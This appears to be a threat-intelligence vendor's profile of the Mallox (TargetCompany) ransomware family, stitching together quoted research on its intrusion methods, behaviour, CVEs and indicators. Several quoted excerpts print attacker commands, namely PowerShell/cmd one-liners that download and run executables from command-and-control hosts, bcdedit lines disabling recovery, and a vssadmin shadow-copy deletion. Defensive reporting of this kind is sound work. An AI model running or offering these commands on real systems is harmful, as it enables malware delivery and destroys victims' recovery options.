Loading malware…
Mallox, also known as TargetCompany, is an enterprise-focused ransomware family and ransomware-as-a-service operation active since 2021. Related variants are known as Fargo, Xollam, and Bozon. The operation introduced an affiliate program in 2022 and uses double extortion, combining file encryption with threats to publish stolen information. Affiliates conduct both opportunistic attacks against individual servers and broader compromises of corporate networks.
Mallox intrusions frequently begin with brute-force attacks against weak credentials on internet-exposed Microsoft SQL Server instances or exploitation of unpatched server vulnerabilities. Attackers abuse SQL Server command-execution features, CLR assemblies, and OLE automation to deploy payloads. Other campaigns distribute loaders through malicious spam attachments, including OneNote attachments associated with Xollam. Delivery chains use PowerShell, .NET downloaders, and PureCrypter, with encrypted payloads and reflective or in-memory loading to hinder detection. In enterprise intrusions, affiliates have used AnyDesk for persistent access, Mimikatz for credential theft, SoftPerfect NetScan for network discovery, and FileZilla for data exfiltration.
Windows variants terminate applications and services, including database, backup, virtualization, and security software, before encrypting files. They delete shadow copies, disable recovery options, collect system information, and register victims with command-and-control infrastructure. Some variants check system language or location and avoid execution in Russian-speaking environments. The ransomware appends variant-specific extensions and leaves ransom instructions directing victims to negotiation portals.
Linux variants extend the family to VMware ESXi environments, where they collect host information and encrypt virtual-machine files. A separate Linux implementation used by one Mallox affiliate is derived from Kryptina and retains its AES-256-CBC encryption routines; this lineage does not apply to all Linux variants. Weaxor emerged as a successor and rebrand of Mallox in late 2024.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
4 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
At the beginning of 2022, SophosLabs and Sophos MTR had been investigating an uptick in reports of attacks against Microsoft SQL Server installations, using two venerable and long-patched remote code execution vulnerabilities (CVE-2019-1068, CVE-2020-0618). | These attacks leverage Remcos (a commercially available remote access trojan) and deploy various families of ransomware including TargetCompany, aka Mallox; GlobeImposter, aka Alpha865qqz; and BlueSky.
At the beginning of 2022, SophosLabs and Sophos MTR had been investigating an uptick in reports of attacks against Microsoft SQL Server installations, using two venerable and long-patched remote code execution vulnerabilities (CVE-2019-1068, CVE-2020-0618). | These attacks leverage Remcos (a commercially available remote access trojan) and deploy various families of ransomware including TargetCompany, aka Mallox; GlobeImposter, aka Alpha865qqz; and BlueSky.
S-RM has responded to an incident where a threat actor used the recently disclosed critical vulnerability known as React2Shell (CVE-2025-55182) to gain access to a corporate network and deploy ransomware.
Mallox ( aka TargetCompany ) ransomware is a longstanding, Enterprise-focused, RaaS. The family emerged in 2021 and is sometimes referred to as FARGO, XOLLAM, or BOZON, due to the extension appended to encrypted files in some variants.
3 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
It was targeted by an intrusion set leveraging brute-force tactics, aiming to deploy the Mallox ransomware via PureCrypter through several MS-SQL exploitation techniques.
Weaxor est le successeur de Mallox ransomware, rebrandé fin 2024 pour contourner les profils de détection.
Mallox ( aka TargetCompany ) ransomware is a longstanding, Enterprise-focused, RaaS. The family emerged in 2021 and is sometimes referred to as FARGO, XOLLAM, or BOZON, due to the extension appended to encrypted files in some variants.
29 distinct techniques documented for this family, organized by ATT&CK tactic.
Mallox has all the typical Big Game Hunting attributes that other groups also have, such as a leak site, a server hosted on TOR, and others.
At the beginning of 2022, SophosLabs and Sophos MTR had been investigating an uptick in reports of attacks against Microsoft SQL Server installations, using two venerable and long-patched remote code execution vulnerabilities (CVE-2019-1068, CVE-2020-0618).
... & powershell -ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create "%TEMP%\M0QW5DJ1.exe"
The payload downloaded by the PowerShell script was a .NET downloader, which would subsequently retrieve an encrypted payload from the command-and-control (C&C) server.
"C:\Windows\system32\cmd.exe" /c "echo $client = New-Object System.Net.WebClient > %TEMP%\update.ps1 & echo $client.DownloadFile("http://C2_Server_IP/- malware.exe","%TEMP%\<random>.exe") >> %TEMP%\update.ps1 & powershell – ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create "%TEMP%\<random>.exe""
"C:\WINDOWS\system32\cmd.exe" /c "echo $client = New-Object System.Net.WebClient > %TEMP%\update.ps1 & echo $client.DownloadFile("http://91[.]243[.]44[.]142/pl- Ukxamliyg.exe","%TEMP%\9ETVCRZF.exe") >> %TEMP%\update.ps1 & powershell – ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create "%TEMP%\9ETVCRZF.exe""
The final payload is in obfuscated or encrypted form, so the dotNet downloader has to decode it first. The encryption can be as simple as reversing the content of the file, or in a typical case a XOR encryption with a hardcoded key
the gang used different sets of defense evasion and reconnaissance tools such as GMER and Advance Process Termination to manually uninstall antivirus products on the target system.
Kill$ cleaner This component drops and executes a batch file into %TEMP%. This batch file stops services and processes.
Finally, the malware looks at its processus privileges in order to elevate them with the SeDebugPrivilege... The ransomware then adjusts its privileges to leverage the SeTakeOwnershipPrivilege and SeDebugPrivilege privileges.
Before encrypting the files, the ransomware exfiltrates system information such as Operating system version, Desktop name, etc., and sends it to the Command & Control (C&C) server using a POST request
Before encrypting the files, the ransomware exfiltrates system information such as Operating system version, Desktop name, etc., and sends it to the Command & Control (C&C) server using a POST request
MTR’s investigation found very simple scripts that reach out to the download server, download the next-stage component, and execute it: $client = New-Object System.Net.WebClient $client.DownloadFile("http://91[.]243[.]44[.]142/arx-Ikrbwika.exe","C:\Users\MSSQL$~1\AppData\Local\Temp\VKDA55H6.exe")
Before encrypting the files, the ransomware exfiltrates system information such as Operating system version, Desktop name, etc., and sends it to the Command & Control (C&C) server using a POST request
Ransomware шифрует файлы с расширениями, связанными с виртуальной машиной (vmdk, vmem, vswp, vmx, vmsn, nvram), добавляя к полученным файлам расширение ".locked".
It then creates the ransom note shown in Figure 20. Note the use of the China.Helper@aol.com address, which we also saw in the instance of the “real” GlobeImposter infection discussed above. | kill$.exe drops a batch file into %TEMP%. Interestingly, this file contains comment strings in Chinese
Mallox begins its destructive activities by starting a thread that disables certain recovery options... `bcdedit /set {current} bootstatuspolicy ignoreallfailures` `bcdedit /set {current} recoveryenabled no`... The malware deletes shadow copies using the infamous command: `vssadmin.exe delete shadows /all /quiet`.
103 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
18 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Earlier ransomware family/group lineage from which Weaxor is described as a successor or rebrand.
Mallox is a ransomware family operated as a Ransomware-as-a-Service platform. In this report it is deployed against MS-SQL servers after brute-force and post-exploitation activity, encrypts files, deletes shadow copies, disables recovery options, stops services, and registers victims with C2 infrastructure while supporting double extortion.
A ransomware family referenced as affiliated with an actor whose staging server leak exposed adaptations of Kryptina for enterprise attacks.
A ransomware variant first reported in 2021 that later launched an affiliate program in 2022. It follows a Big Game Hunting model with affiliate IDs, a TOR-hosted leak site, and targeting guidance focused on organizations with at least $10 million in revenue while excluding hospitals and educational institutions.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.